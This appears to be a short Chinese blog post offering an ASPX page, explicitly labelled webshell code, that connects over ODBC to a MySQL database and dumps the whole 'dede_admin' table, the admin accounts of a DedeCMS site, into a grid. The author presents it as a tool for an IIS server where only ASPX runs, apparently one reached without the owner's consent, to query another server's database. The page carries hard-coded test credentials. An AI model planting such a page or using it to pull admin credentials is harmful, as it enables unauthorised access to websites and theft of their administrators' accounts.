aspx操作mysql数据库webshell代码
遇到iis只支持aspx的,装了mysql odbc驱动,
想在那个iis上操作另一个服务器的mysql,可没现成的aspx操作mysql的程序,
找了一下午,在csdn上找到个.net的sqldatasource类可以操作
- <%@ Page Language="VB" %>
- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
- "http://www.w3.org/TR/xhtmlll/DTD/xhtmlll.dtd">
- <script runat="server">
- </script>
- <html xmlns="http://www.w3.org/1999/xhtml" >
- <head runat="server">
- <title>asp.net to mysql</title>
- </head>
- <body>
- asp.net connect mysql
- <form id="forml" runat="server">
- <div>
- <asp:GridView ID="GridViewl" Runat="server"
- DataSourceID="SqlDataSourcel">
- </asp:GridView>
- <asp:SqlDataSource ID="SqlDataSourcel" Runat="server"
- ProviderName="System.Data.Odbc"
- ConnectionString= "DRIVER={MySQL ODBC 3.51 Driver};SERVER=localhost;DATABASE=test;UID=test;PASSWORD=testtest;"
- SelectCommand="Select * from dede_admin"
- >
- </asp:SqlDataSource>
- </div>
- </form>
- </body>
- </html>